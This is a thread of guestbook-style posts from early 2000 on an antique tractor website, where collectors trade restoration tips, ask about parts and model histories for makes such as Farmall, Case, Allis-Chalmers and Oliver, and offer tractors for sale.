Larry wrote on Sunday, February 13, 2000 (PST):Is the use of low ash oil nessisary? The guy I bought the 1952 model vac said that that is what Case told him to use.
Rich Griffin wrote on Sunday, February 13, 2000 (PST):I restored an H and had a problem with gov. surg. After I replaced throttle shaft body of carb. the surg went away. Must of had a wore throttle shaft and bushing. Runs real good now.
David Packer wrote on Sunday, February 13, 2000 (PST):I have a vc case that my grandfather bought new. I currently use it to pull my kids around on intertubes or in and old rowboat. I need parts. Where do I start looking for VC parts. I think mine is a 1942. My serial number is vc4415817. Engine parts are easy to get through jeep part supply houses but I need an exhaust manifold and a steering colum. I have hit nothing but dead ends in the parts department.
Mark Bassett wrote on Sunday, February 13, 2000 (PST):I grew up on a farm with nothing but Allis-Chalmers tractors. I started collecting and restoring tractors about 5 years ago.In my colection are 42WC,45WC,47WC,and two 53WDs all run but one,two are restored. I always make fun of the John Deere colectors because mine are bright orange so people can see then and thiers can be hidden in the woods out of sight.
Michael Bent wrote on Sunday, February 13, 2000 (PST):Hello from New Zealand. I have an HG60 standard tractor and an OC3 with a blade. The HG is undergoing an extensive rebuild like gearbox, final drive, new track bushes and pins refitted front idler hubs and so on. Nearly complete and looks quite exciting. OC3 is original but basically quite sound. Also have a 77B hay mower adapted to the "Ollys" and it works really well too. Ther is quite a strong and growing group of Oliver crawlers, mostly HGs and OC3s in the local vintage tractor and machinery club of 260 members. We mostly use them for plowing but occasionally shift a bit of dirt too. In fact we got "Men of Steel" days going for the crawlers and steel wheeled tractors and they are really popular. These Ollys are amazing in the bush and on the hills. Would be keen to hear from some of you chaps in the US of A so start writing please.
Ken Baucom wrote on Saturday, February 12, 2000 (PST):Clifton,CentralTexas...Just acquired my first 1950 or 51 JD M/T. Outstanding condition.Original paint/decals in place. Being tuned-up, painted and ready for show in 3 wks. Would like more info on JD M/T's.
Bob Shaw wrote on Saturday, February 12, 2000 (PST):I have a M-H Pony, I am looking for a fix for the carburetor, a kit or a replacement. My Pony looks much shorter wheel base than the one in the picture provided on this site. Is there a reason? My tractor has a hydraulic front loader and a rear scraper but is not a three point hitch.
Lynn Z wrote on Saturday, February 12, 2000 (PST):I have a 420C five roller that was manufactured in about 1959 with a Holt front end loader. It was used in cleaning corrals for about fifteen years. Due to services on concrete the grousers are worn down to the nubs. We drug it out of the corral with tracks sliding and rebuilt the engine and turned the track pins. We installed a three point hitch and I have used it in landscaping my yard during the past ten years or so. It starts and runs great even in cold weather. I have rebuilt the track rollers, but it needs another set of left front idler support castings, as the shaft hole are badly worn and I cannot hold the idler shaft from turning with the front idler. Also it has a broken final drive hub which connects the large final drive sprocket to the track drive sprocket through a tapered spline shaft. The hub has broken away about a third of the splined hub area. It still operates, but the strength is questionable. One more thing; the steering clutches have a tendency to slip under heavy load even though I have replace the clutch discs. Is the any way to check or rebuild the pressure plate? Other than these few things, including some needed rebuilding work on the hydraulics, it is a great machine. Does anyone have a line on some parts? I will check this site occasionally for a reply. Thanks.
Thomas Ganzak wrote on Saturday, February 12, 2000 (PST):Greetings from Michigan, I recently purchased a Cockshutt 30, late 40's, need information in regards to a starting problem. Once tractor is running, it runs great, but has problem initially starting. It does not fire right away, have already changed points and tuned up. Any help would be appreciated. Thanks in advance.
Christine Silfies wrote on Saturday, February 12, 2000 (PST):Also, does anyone know if this tractor was used on a specific type of farm or conditions? Thanks
Christine Silfies wrote on Saturday, February 12, 2000 (PST):I am doing research with my son on this tractor. I have a picture from a farm calendar of this from 1925. The photo was taken by Ozzie Sweet. New Information on this as follows; it was built by the Minneapolis Steel and MAchinery Company and had simple oil cups that needed to be kept filled. The front wheels did not have bearings.
Don wrote on Saturday, February 12, 2000 (PST):My uncle had a model 50 John Deere which he owned until he passed away I have just located the whereabouts of the tractor today I will probally be purchasing the tractor as it is for sale ,and I'm looking for one as well. It must be put back together though. Can anyone give me some history about the Model 50 In the John Deere line up which model did they replace ? ,Horsepower etc. Thanks. Don
Bob wrote on Saturday, February 12, 2000 (PST):Looking for parts for 273 cubic inch buda engine for an E5 coop tractor. I think that it is the same as a 50 cockshutt. Bob.
Don Rudolph wrote on Saturday, February 12, 2000 (PST):The 500 must be the best sounding diesel engine of all time. In this part of Wisconsin that would have been a very large tractor in the mid 50's. The first time I ever saw one was in 1969 ar a Case dealer being rebuilt and the dealer saw that I was impressed with it and started it up for me to hear. I decided right then that someday I would have one and 4 years ago I found a very nice one in Iowa and rescued it from JD land. I love talking Case tractors. Thanks for listening. Don Rudolph
kevin mull wrote on Friday, February 11, 2000 (PST):I am lookiing tor a bush hog for a case dc tractor. if you can help call. 219-872-3253
kevin w mull wrote on Friday, February 11, 2000 (PST):Iam looking for a brush hog for a case dc tractor with an egal claw hitch If you can help then call 219-872-3253.
Ke vin W. Mull wrote on Friday, February 11, 2000 (PST):This E mail is for Doug Fulller, I am not the guy that called. But I might be interested in your J.D. R. Please contact me by e-mail. Or boy Phone 219-872-3253. Thank you.
Mike & Nick Ballatore wrote on Friday, February 11, 2000 (PST):Chris,we have a A.C. 160 we'll sell. It runs & starts very good. It needs paint & rear tires,it has a new hyd pump & fuel transfer pump also new front tires.Email us if you want more info. Thanks Mike.
Gary Kempher wrote on Friday, February 11, 2000 (PST):In the late 50's my dad owned two model G tractors one unstyled '36 (I think) and a '47. The 36 ran on distillate, and the 47 ran on gas. Both were real workhorses and would out work anythng red, or the other green in the county,(Pike County Ill
Steven Good wrote on Thursday, February 10, 2000 (PST):Just bought my first tractor which is the 2010. When letting out the clutch it grinds terrible. No adjustment left in the clutch. Big problems? Let me know please. It is so cool to drive a tractor, can't wait to get back to recreational property to play with it.
Jim Rizzi wrote on Thursday, February 10, 2000 (PST):I have an Oliver tractor that I believe to be a Super 55. The serial # is 60-965-519 and the Specification # is 35-00-52 Does anybody have any info regarding this tractor? Thanks
Brooks Preacher wrote on Thursday, February 10, 2000 (PST):I have found an AC "WD" for sale. The owner os not sure if it is a "WD" or a "WD45". The decal is "WD". Did the "WD45" have a 45 decal? The owner said the "WD45" had a curved gear shift lever and the "WD" had a stright one. Anyone know for sure? Any other quick way to tell a "45"?
Craig Noble wrote on Wednesday, February 09, 2000 (PST):I own a 1952 M-H Pony.I bought it as a basket case,put tractor together in winter.Rebuilt complete tractor from bushings to bearings.Rebuilt motor during winter,tore whole tractor back down beginning of summer.Painted tractor then put all back together.Tractor is know of expo quality.Ive lots of background with pony's now.Also have 7 other M-H's.
DEAN HLAD wrote on Wednesday, February 09, 2000 (PST):I'm restoring a 1950 Farmall C. The tire size is 12.4 x 36 (11 wide rim). Apparently the tractor was used heavily for cultivation and they put calcium in the rear tires. The problem I have is that from sitting all those years the calcium leaked and has caused severe rust around the valve stem area. I need to cut the area out and replace it with new. Wondering if anyone out there has a salvage rim they would be willing to sell an 20" chunck out of for me to "graft" in the new area. Would be willing to pay the cost and shipping. Please e-mail or call meat 940-627-1785. Dean Hlad Decatur, TX
Matt Honken-Honkens Hilltop Farm wrote on Wednesday, February 09, 2000 (PST):I Grew up learning how to drive tractor on a WD narrow front, March of 99 I finally purchased my first WD. My boy is 3.5 y.O. and soon he'll learn how to drive just like his old man. I painted it and utilized fresh decals on it. Looks nice.
drew wrote on Wednesday, February 09, 2000 (PST):We have a black stripe with a cab. Bought it 4 years ago with a fresh overhaul. Best investment we ever made. Next to the H the best tractor IH made. Just turn up the fuel and watch the JD's hide in the grass as the Big Red goes rolling by.
drew wrote on Wednesday, February 09, 2000 (PST):We have a super H that has spent its whole life on our farm and I tell you they don't make a better tractor. Still cultivates the tobacco every year and is resting when it doesn't. After I long spring in these newer, higher horsepower, air-conditioned tractors, it feels real good to fire up the OLD H and start putting across the tobacco patch.
Bill Dean wrote on Wednesday, February 09, 2000 (PST):My son and I dug a 1926 15-30 out of a thicket had to chain saw it loose Spent about 10 months getting it to run Was a great project to work with my then teen age son We both learned a lot abuot old tractors and each other
Wade Raney wrote on Tuesday, February 08, 2000 (PST):I own a D-14 allis chalmers tractor and enjoy it very much. I have had this tractor for about 10 years and am interested in installing a front end loader. A loader was bought with the tracter and was suppost to have been on it at one time,but it must be missing some brackets.I have the hydrolic pump,shaft,etc..that runs off front of motor need manuels or pictures of loader on tractors. Any help appreciated.Any copying costs gladly paid back
John Kolle wrote on Tuesday, February 08, 2000 (PST):I am looking for a MH 55, 333, 444, 555 or any other such tractors to purchase. Any information given would be greatly appreciated. I already own a 44, another 44 (six cylinder), a 30 and a 101.
N Chance wrote on Monday, February 07, 2000 (PST):I recently inherited a ford tractor that was my father's. I was told that is was an 8N but I've found a # on the motor that says 9N. How will I know for sure what it is? I also need info. on cleaning up the inside of the gas tank. The tractor sat for 7 years untouched so now the tank has rust in it. A new one is quite pricey. It there a way to clean or coat the inside? The tractor runs great to have sat for so many years. I'm just having trouble with the rust in the tank. Also, what is the original color on the 8N? This one is painted blue and gray but you can see red where the blue is chipping off.
jason wrote on Sunday, February 06, 2000 (PST):I am 14 and i still have a darn good farmall h in the shed that i use all the time. One other thing, did you now that that tractor has the wrong decails? Otherwise it looks nice.
Fred Howland wrote on Sunday, February 06, 2000 (PST):I have amdl U and may be int. in selling would any one know the value of it. the tractor is in good cond. runs well but needs paint .
Fred Howland wrote on Sunday, February 06, 2000 (PST):Greetings from New Brunswick Canada. I have a cockshutt mdl 35 in very good cond.I dont see mush info. on your listings value etc. I also have a 20 and a 30 in excellent cond welcome any enq. on any of these tractors.
Hans Nevelius (Sweden) wrote on Sunday, February 06, 2000 (PST):1952 my father bought one of the first Fordson Major Diesel traktor in Sweden.We used it into the sixties, a very reliable tractor.I still keep the extra heavy duty weights bolted to the rear weehls and some documents,how to act when the disel-engine in some fatal accidents should run backwards. With regards
Philip K, Mabe wrote on Sunday, February 06, 2000 (PST):A friend of mine, A MR. James Atkins at 1956 Little Scyamore Rd. Tazewell, Tenn. 37879 has a Case SC tractor ser #4602986SC. He would like to obtain the manuals for this tractor and also obtain information on where he could obtain Parts new and used for this paticular tractor. Please contact him at the above address.
Bob wrote on Sunday, February 06, 2000 (PST): I run Farmall M's quite often. They are a smooth running tractor and are very handy to have around the farm. We use them mostly for hauling wagons and mowing.
MN/Dan wrote on Saturday, February 05, 2000 (PST):Yea Sam , it could be your aux pto is engaged on the rear of the tractor where you would connect the hosses theres a small lever that moves from left to right sitting here typing I cant remember which way to move it but try the opposite of what it is now see if that makes a difference
Frank Soares wrote on Saturday, February 05, 2000 (PST):I have a 1963 2010 Row Crop, ser. #33065 with syncro-range, Rollamatic front end with power steering. I bought it in 1980 with 1500hrs,it now has over 5000hrs.with not one bit of trouble worth mentioning.For years this was our main tractor for chopping corn silage and green chop rye. Our old IHC 15 chopper didn't blow green rye very good so I Had to rev up to get more than 540 on the PTO,sometimes running at 2200-2300 rpm all day. As far as I know,the engine has never been touched. This is the most handy,agile tractor we have ever owned, especilly backing 4 wheel wagons into the sheds,etc. with its dead slow reverse in low range. Say what they want about 2010's, for me its been a great tractor, it needs to be restored for sure,but I have no intention of getting rid of it,ever. We also own a 1963 3010 RC ser.#34493, 1973 4030 w/SG cab. 1950 B,1952 A and other A's and B's
Willie Heidebrink wrote on Saturday, February 05, 2000 (PST):This is for Rick Payden who wrote on 10-30-99. Oh for the love of the internet. Isn't this great? I am going to restore a Farmall BN this year also. Maybe you have already got your engine to rotate, but let me pass this along for what it is worth. A friend loosened up an engine this way. Remove the spark plugs,squirt some WD-40 and some Mystery Marvel oil (penetrating oil ) into each cylinder and take a pipe wrench and put on the nut at the crankshaft pulley. Slip a section of pipe over the handle (8 to 10 Ft.)and add some weight to the end of the pipe. Let set till the weight overtakes the resistance ( rust or whatever ) then you won't damage anything.When you see the weight on the floor, the engine is loose. Add more WD-40 Etc. if you want, but it will work. Make sure the wrench is attathed to turn the correct way.Don't attempt to start the engine till the crankcase is serviced with fresh oil!Also you may loosen each connecting rod cap and using a mallet and a stick of wood, and push each piston, one at a time. Good Luck!
Brian Houghton wrote on Saturday, February 05, 2000 (PST):To Greg Kneifl,your tractor is a 1950.Farmall came out with this special promotion in 1950 that let farmers try{demonstrate}these tractors.I have a farmall c demonstrator that I am restoring now.As for the value of a demonstrator,#1 depends on how many of these tractors are in your area.#2 depends if it was a demonstrator,some people just painted there tractors with thinking they would be worth more white because of this.#3 you could not put a price high enough to by mine.My tractor was bought from a farmall dealer in 1952 by my uncle.he couldn't bring it home until the dealer repainted it red. The red paint pealed off and is mostly gone and now it is red,white and rusty.The pricing of a tractor like this is all how much your tractor is worth to you.In Guy Fay's book FARMALL LETTER SERIES it tells you a little on this subject.Good luck
Brian Houghton wrote on Saturday, February 05, 2000 (PST):To Greg Kneifl,your tractor is a 1950.Farmall came out with this special promotion in 1950 that let farmers try{demonstrate}these tractors.I have a farmall c demonstrator that I am restoring now.As for the value of a demonstrator,#1 depends on how many of these tractors are in your area.#2 depends if it was a demonstrator,some people just painted there tractors with thinking they would be worth more white because of this.#3 you could not put a price high enough to by mine.My tractor was bought from a farmall dealer in 1952 by my uncle.he couldn't bring it home until the dealer repainted it red. The red paint pealed off and is mostly gone and now it is red,white and rusty.The pricing of a tractor like this is all how much your tractor is worth to you.In Guy Fay's book FARMALL LETTER SERIES it tells you a little on this subject.Good luck
John Harlan wrote on Friday, February 04, 2000 (PST):1963 Ford 901 Selecto-O-Speed, Am considering selling original running tractor with tricycle front end Ford loader. All operational and original. I too like the select-o-speed,it has had alot of bad press but my experience has been positive.
John F. Kenney wrote on Friday, February 04, 2000 (PST):In reference to the differance between the Farmall "C" and Super "C" ; the "C" had a 113.1 Cubic inch displacement engine and Super "C" had a 122.7 Cubic inch displacement. The RPM was rated the same according to an IH referance book I own. Both "C" and Super "C" were available with Hydraulics.
Gary Gilbert wrote on Friday, February 04, 2000 (PST):I own a 54/57 International 350 Utility with gas engine. This is a very good little tractor and the rear tires are chlorided which isa beginning to cause some rust on the rims. I want to find both rear wheel weights for this tractor and would appreciate info regarding this matter. Also, i would like to find the front weights that bolted to the front frame
bernie wrote on Thursday, February 03, 2000 (PST):what is the value of this tractor
Terry Clark wrote on Thursday, February 03, 2000 (PST):Im presently restoring a MH 44, The serial no. is 1647 . Is this an early model ? My dad says they started with serial no. 1000. The motor is black I believe this is the proper color.
Bob Germain wrote on Thursday, February 03, 2000 (PST):My family bought a new TD35 in 1938, serial# 3707, which was used on our wheat farm in the rolling hills of Eastern Washington St. untill the `60s, at which time it was traded for a TD9. I remember Dad saying that he drove that TD35 for nearly 30 years. I do believe that the `35 was the first tractractor that I drove. I can remember trying to crank it when I was about 12, and there was just not enought of me to turn it over to get it to start. At one time the `35 and a TD9 did all the tractor work on 1,200 acres of wheat and dry peas, and that was without airconditioning. I still have a 1943 Model H that will get a paint job this summer.If anyone might know where I can find that old `35 please let me know?
Tom Mattingly wrote on Thursday, February 03, 2000 (PST):Have a 720 with pony. need a ring gear and a few other little things 1957. tractor is in great shape. Going to get it running this spring early . planning on using it to pull JD 24T BALER.Only had it started one day before I had to put it away for winter.
Tom Mattingly wrote on Thursday, February 03, 2000 (PST):Have a 720 with pony. need a ring gear and a few other little things 1957. tractor is in great shape. Going to get it running this spring early . planning on using it to pull JD 24T BALER.Only had it started one day before I had to put it away for winter.
Tom Mattingly wrote on Thursday, February 03, 2000 (PST):Mattingly Feb 2 00 have too wds 1 wd 45 love these old tractors have a set of fenders off of wd45 about a 58 still making hay with two of them. fenders are decent shape.chain marks at bottom rear as with so many of them are.
david wrote on Thursday, February 03, 2000 (PST):one of the best sampsons that i have ever seen was at pioner acres in irricana alberta. It was in show room sape but it was a tragedy that the man that started the restoration and did most of the work did not live to see it finished. His parterns and friends finished the job as a tribute to him.
Ron Smith wrote on Wednesday, February 02, 2000 (PST):a good friend of mine Fred Young of The Kentucky Headhunter asked me to locate used fenders for wd45, anyone help?
Dave Barker wrote on Wednesday, February 02, 2000 (PST):I have a VAO running that my dad bought new in 1947. When he got it, it had full fenders and branch shields. There was a hydraulic lift on it from the dealer but he had a much stronger one built at a local machine shop. The shields were removed when the orchard trees became less bushy. I m needing a left branch shield and I'm hoping to find one so I get it finished by August so we can use it for pictures for his 60th Wedding Anniversary. If you can help email or phone 1-250-499-2095 Thanks
wayne miley sarahsville ohio wrote on Wednesday, February 02, 2000 (PST): I'm looking for a head to fit massy harris pony 4 cylinder cont.If anyone has any info contact me.Thanks Also interested in whole tractor for parts....
Wally Pfennig wrote on Wednesday, February 02, 2000 (PST):Your white 'C' is actually considered a "demonstrator". The original "Farmall" decals were "stenciled" (the letters were individually cut) so the white between the letter on the decals would be visible. Decals from the CaseIH dealer will have a red background, but it will still look ok. The one's I've seen restored use these same decals. Decals from Surplus Tractor Parts will have a clear background and the effect will be identical when they are applied. FYI, Certain items on these "demonstrator" 'C's, such as air cleaner assembly, etc were painted red. I'm not sure which parts were red and which were white though. Also, it is possible to determine the year of your tractor from the serial#. As far as value goes, it is my observation that condition is always the greatest factor in an antiques value. I am not aware of any premium paid for "demonstrators" versus regular 'C's.
eddie wrote on Wednesday, February 02, 2000 (PST):need help on finding the model number and year of a tractor of my tractor it is a AC WD with a tricyle frontend with a snap couple,a pto,a top link bracket, eddie
Kurt Knudson wrote on Wednesday, February 02, 2000 (PST):looking for information about the D17 - does it have a live PTO? Power steering? Live hydralics? Low pressure high volume or high pressure low volume? More than one set of of hydralic couplings? Three point hitch? 12 volt system? Differential lock? Thanks for any information! email me at kknudson at ucar.edu
Ted Pawlak wrote on Wednesday, February 02, 2000 (PST):I am about to aquire a D15, just like the picture. I know little about tractors and this appears to have some sort of adjustable rear rims. is this for changing tire sizes?
Dave Blevins wrote on Monday, January 31, 2000 (PST):Have and old 550 wish to sell has a valve train problem otherwise solid tractor. has 81-070-519 and 45-00-28 on the plate do not know year or worth of tractor. I gave 3500 years ago but it is time to trade. Gas engine 4 cyl.
Marc Emerson wrote on Monday, January 31, 2000 (PST):I'm trying to install a water temp guage to my 51 8N. Anyone know how or where to connect sender to the engine. I can find no place where this can be done. Do I drill and tap a hole if so, where? I'd appreciate any information I can get on this.
Curt Watson wrote on Monday, January 31, 2000 (PST):I just purchased a 1954 Ferguson tractor. I was told it is a TL30 -- but I find no reference on the WWW for a TL30. It has a 3PT, and a front end loader. Any help?
JIM BLAKE wrote on Sunday, January 30, 2000 (PST):I have acockshutt 30 gas with underdrive. It is one of the fastes tractors I,v seen. Good tractor to work with. I would like to know how to adjust pto clutch,mine drags and wont stop when disengaged . thouse of you looking for A 30 I saw A net add last week. Jim Cobb ,barton vt. 802 525 4032 I don`t wont to sell mine. Would like to try it in the tractor pull. Enjoy your tractors, I do. JB
Judd langworthy wrote on Sunday, January 30, 2000 (PST):My Father has a Oliver Hart-Parr 18-28 he picked up a few years back. It is his pride and joy come tractor pull time. He has never been beat while using his set of steel wheels pulling against other tractors in the same class.
Mike Elmira NY wrote on Sunday, January 30, 2000 (PST):Want to buy cub with attachments,snow and dirt plows,belly mower,disc,drags,cultivaters ect willing to pay up to $3000. depending on attachments and condition.Thanks
Dave Barker wrote on Sunday, January 30, 2000 (PST):I am looking for fender parts for my 1947 VAO Case. If any one knows of any parts I would appreciate hearing back.
Gene wrote on Sunday, January 30, 2000 (PST):To Jared; If you still have the WD45 with crack block would you be willing to sell the tractor? Look up Allis web pages and you can find engines and parts all over the country, I use to deal with CT in Des Moines Ia.1 888 828 3276
macc wrote on Sunday, January 30, 2000 (PST):A>SUPER-A>100>130>140 later on became another numbered modle but not sure of thenumber.
bob flow wrote on Sunday, January 30, 2000 (PST):i have 1958 ford jubilee tractor. i would like to know how much it's worth. it has a front and loader an 3point hich.
alan mark wrote on Sunday, January 30, 2000 (PST):I have one of these tractors ,unfortunately it needs fenders and a nose piece (complete with grilles).I can get the fenders ok, but the nose is a problem? It's a great little tractor though
jim lamb wrote on Sunday, January 30, 2000 (PST):I have a D17 i bought from a neighbor who bought it new i have the operator manual that came with the tractor new i use it to rake and bale with it is a great tractor. I am now process of completly restoring it.
big nate wrote on Saturday, January 29, 2000 (PST):I am looking for a flat spoke rim for my 39 B somewhere in or close to Mn.If you have one for me i am at daisy at virginiamn.com This tractor is a working runner on my small pressure releif from my bil paying job farm.Me and my dad,whose in Tx. for the winter work about 60 acers together .I run green and he is turning a little red on me.But he got me into the mean grean two cyl. poppin johns.
David Clark wrote on Saturday, January 29, 2000 (PST):Just purchased a International 140.With Hydraulics,fast hitch and several pieces of equipment. Looking for any information on this tractor. Specifically how to attach the cultivator underneath the center of the tractor. Any info will help. Thank you.
Royce Carter wrote on Saturday, January 29, 2000 (PST):My Dad bought a 1950 Model "A" Avery similar to the one pictured in 1950. I used the tractor as a young farmer growing up in Tennessee, and we sold it when my Dad died in 1982. I moved to Indiana in the late 60's and a few months ago, became very interested in trying to find my Dad's old Avery. Luckily, I found it was bought by one of the neighbors in Tennessee, and still in fairly good condition, but short of TLC. The owner sold it to me and I'm now in the process of restoring it and need help finding sources for parts, gaskets, etc. I have the original manual with all part #'s etc. Any and all suggestions as to where to find parts would be gratefully appreciated.
Doug Fuller wrote on Saturday, January 29, 2000 (PST):Would the person from Ohio who was interested in my John Deere R please call back, I was suppose to send a picture but lost your address and phone number. You live North of Cinncinati. Thanks Alot!!!
JIm Quarles wrote on Saturday, January 29, 2000 (PST):I was a John Deere serviceman in S.W. MO. back in the '60s and early '70s. Restored a GP we traded for one winter. The head mechanic where I worked had grown up running a GP in Western Kansas during the Dust Bowl days. Said you'd take 10 gallons of Kerosene and 10 gallons of water to the field (milk cans). Under load it burnt about 50-50. He said the steam generated in the cylinders made the thing act more like a steam engine as it had way lot more torque - couldn't kill it. Tractor I restored in 1969 or so is still used in parades, etc. That 4" exhaust pipe it had sure barks!
Dennis M. McCarthy wrote on Friday, January 28, 2000 (PST):To Jim Anderson, I just completed restoring a 240 Utility with a loader. Contact me if interested.
Lee Murdy wrote on Friday, January 28, 2000 (PST):I have an HG42 and would like to put a dozer blade on it. Machine currently has no hydraulics. Any ideas to help would be appreciated.
Gerry Oehler wrote on Friday, January 28, 2000 (PST):Love this MM site. Pics are great. I still have the M602 that my Grampa and Dad used as a main field tractor on the prairies. As a result of the economy, I no longer farm. I still have M602 and plan to restore it when I have some $. Would love to see any pics of an M602 if anyone has available. Again, love the site!!
Mark Heagy wrote on Friday, January 28, 2000 (PST):I have a Twin City Ser. 27834 1928? complete but not running, I would like to have an estimte on what this tractor is worth roughly, because I would like to sell it. Thank You
adam wrote on Friday, January 28, 2000 (PST):can i buy that tractor from you
greg w. hopping wrote on Thursday, January 27, 2000 (PST):i am looking for a set (5) independent gang cultivators for my model g tractor and farming operation. any information is helpful. thanks
TravisC.Jones wrote on Thursday, January 27, 2000 (PST):I aquired a FarmallB two years ago when I bought my place it was on it & the previuos said it went with the place. It had been sitting out in the weather & the exhaust stack,was broke off at the manifold. I had to pull the head off the engine because the motor was locked up. When I pulled the head I noticed the #3 cylinder had two inches of trash on top of it. So I cleaned up the trash as best I could with air & gas &, also had to clean up the #3 exhaust valve which had been open & let everthing in the #3 cylinder to begin with. I reinstalled the head & torqued nuts to 50pounds with old gasket although I dont recomend doing that. Bought 4 new spark plugs & set ignition wires & rebuilt the carb. Had to 2 new hoses for the radiator added water & gas & new oil.For about $35.00 & tried to start it up & to my suprise it started on the third try.I am using it now & aquiring every attachment I can find.Good Luck in your restorations everyone. If I can help anyone you can e-mail me at cole at axs4u.net
Leon Dupont wrote on Thursday, January 27, 2000 (PST):I have long been an owner of the Oliver OC-3 and 4 series Have several of each torn down for parts. Would be glad to give any info i have.
Jeff Aker wrote on Wednesday, January 26, 2000 (PST):Hi, I just recieved a M Tractor from my dads estate. It is in absolutly perfect shape with new tires the works. It has the two tires touching in a V shape and has hydralics comming out the back. I also recieved a B tractor. I am thinking about selling the M as I have no use for it. The B has a belly mowers so I am gonna keep it. If you are interested in the M let me know. If any of you can tell me about what a fair value is I would like to know also. I am not looking to make a killing on it would like to have some one who loves tractors the m model to have it. I am in Northern Indiana. e-mail me or call me at 219-935-4560
W Pfennig wrote on Tuesday, January 25, 2000 (PST):This thing looks a lot like an Oliver 99. Does anyone know if they are "chasis identical" tractors ?
Larry Wolfe wrote on Tuesday, January 25, 2000 (PST):In response to John Bowen, the firing order is 1,2,4,3. Also, the wheels on tractor pictured would have originally been black.
Kevin wrote on Monday, January 24, 2000 (PST):I have a 1949 Farmall Cub with hydralics, which I have recently rebuilt. Although I have many attachments including a one blade Woods mower deck, I would like to find a 3 blade mower deck to either buy or trade for the one blade mower deck I already have. I would appreciate any information available.
C. Dixon wrote on Monday, January 24, 2000 (PST):I am looking for Silver King owners who have a web page, or would be interested in creating one for the Silver Kings of Yesteryear tractor club. Please note that you saw this on "YT". Thanks.
C.Dixon wrote on Monday, January 24, 2000 (PST):Am looking for Silver King owners who have a web page, or are interested in creating a page for the Silver Kings of Yesteryear tractor club. Please note that you saw this on "YT". Thanks.
Roberto Rivero wrote on Monday, January 24, 2000 (PST):my brother found an old Hart Parr wich in the plate says; year 1930 set as 18-36 and serie 32789 The tractor is in Uruguay South America and we would like to restore it The tractor runned until 20 years ago now engine is stuck but complete Magneto is lost but we can put something similar. We need some info ; manuals and where to find parts. thanks in advance Roberto Rivero
tim carr wrote on Sunday, January 23, 2000 (PST):i have a 770 with the under drive and it doesnt work consistantly i would like to get the parts to replace the under drive and do away with it.They shift easier with out that also. if any one knows of this parts available from a parts tractor please notify me. thank tim
dawna_58 wrote on Sunday, January 23, 2000 (PST):i have a johndeere tractor with a detroit diesel need more information
Andrew Parker wrote on Sunday, January 23, 2000 (PST):I own 5 field marshalls one of which is fully restored and the winner at several major tractor shows. I also buy and sell Field Marshall's and have a comprehensive range of spares. Nottinghamshire area. Email me for further info.
steven unterborn wrote on Sunday, January 23, 2000 (PST):i have a 1948 case vac and i am restoring it and was wondering if the tractor was all orange or were the fenders and other parts the cream color? also i was wondering if there was a place that i could get decals for this tractor?
brian byrd wrote on Sunday, January 23, 2000 (PST):a few yrs back i saw a tractor which i thought it said 435 what was strange it had a detoit deisel in it i would love to have it
vern wrote on Saturday, January 22, 2000 (PST):ihave two front weights for sale for ac g 300.00 ea, also have a complete motor for sale for ac g . has been completely rebuilt 900.00. also various parts for sale.
dan forry wrote on Saturday, January 22, 2000 (PST):I own a 1944 WC that has the welded steel rearend housing that was produced in WWII. It is a good old tractor, I restored it in 1987 and use it once in a while on my farm.
Ronald Green wrote on Saturday, January 22, 2000 (PST):I have a D17 diesel and the power devertor needs new clutch plates in it or a power devertor does anyone have one if so e-mail me.
Eric wrote on Saturday, January 22, 2000 (PST):I,m about to acquire a "dexta" 4 cyl. gas tractor - are they the gas version of the "super dexta" which I assume were all deisels or am I completely wrong?
mark duellman wrote on Saturday, January 22, 2000 (PST):i have a 39 ac b it was my families only tractor my grandfather worked very hard to get this tractor and i see it as my duty to fully restore this great machine to enshure it will be here for years to come iam looking for a breather cap the b is 60% finished any help in locating one would be very helpful thank you very much ps. the paint i used for this project is dehart paint co. out of louisville KY. there allis paint is great!!!!they even have the same color paint in a 12oz spray can is this neat or what? Iknow my paint i have been a union 118 painter for 19 years i hope this can help someome!!! tell them mark sent you.
Steve Nurmela wrote on Saturday, January 22, 2000 (PST):I resently picked up a vc, the engine has one cracked sleeve.I'm not sure if it is a continental engine or not. How do I tell?
Leon Dupont wrote on Friday, January 21, 2000 (PST):I have an HG-42 parts machine,also 2 OC-3 for parts, 1 good hood and gas tank. Have 3 later model OC-4 that have the 3-cyl. Hercules engines. I can get parts for the IXB-3 Hercules engines which were in the OC-3.
Roy JAMES wrote on Friday, January 21, 2000 (PST):I also inherited an oc 3 oliver crawler from an uncle in Alberta It had been left out in the elements for a number of years . I manged to find another scrapped out unit with a good undercarrige so have since replaced tracks , rollers side frames , and front idlers , am now replacing the magneto with one i have built out of spare parts and then replace the ex valve and in take valve on # 4 cyl. This is a 4 cyl hercules gas engine with the oliver intake and exhaust manifold . have no manuals so am learning as i go . It is a 1942 model with a ware front loader attachment , If I can help with any questions please let me know . I reside in southern BRITISH COLUMBIA [ CRESTON ] .
Vito V. wrote on Friday, January 21, 2000 (PST):I have a 1948 Cub, need help with service manuals and impliments that were made for this tractor. Also was a front loader made for this tractor?? Runs good, want to restore. If you have any information, PLEASE HELP
Verlan Heberer wrote on Thursday, January 20, 2000 (PST):Bob; Hi, had dad over here showing him how the internet works and we just decided to say hi to you. I am sure that you are out of town, but will be back for the toy show in Feb. Dad said that he did not get the christmas letter, but mine is not around any more. Drop him one.
Eddie wrote on Thursday, January 20, 2000 (PST):I got a WD with a tricycle frontend,gear reduction on the back wheels, a snap coupler,pto,and a home made 3ph.. the decals are gone but got the numbers off the block E10 U- 3019 40 2 OR it is E1D U-3019 40 2 can anyone help me to find out the year,HP,model off this tractor THANKS to all that reply Eddie eddieh at logantele.com or mrfixit_2000_7
T.S. Dye wrote on Thursday, January 20, 2000 (PST):I have set of the arps tracks plus an arps front dozer blade.The tracks are 16 or 17 inches wide.I think they must fit a later model ford. My plans are to install them on an 860 or 4000.
John A. Schaefer wrote on Thursday, January 20, 2000 (PST):Hi. I'm looking for a WD 1952 to 1955 that is running. If no luck there I may settle for a WD45. Pacific N.W. only. Prefer within 300 miles of Walla Walla, Wa. Thanks.
Martin Turner wrote on Wednesday, January 19, 2000 (PST):I got one of these tractors with some land I bought recently. It has been sitting in an old garage for at least 45 years. It was running when it was parked there. As far as I know the only thing wrong with it is that somebody stole both front wheels years ago. I don't really have the time or interest to restore it, but I'd like to see it go to a good home. If you're interested, email or call me and we'll see if we can make a deal. 660-486-3388.
Mike wrote on Tuesday, January 18, 2000 (PST):I beleve I have a DI tractor with Ottawa hoe and loader, but the I.D.tags are missing. Please can you help
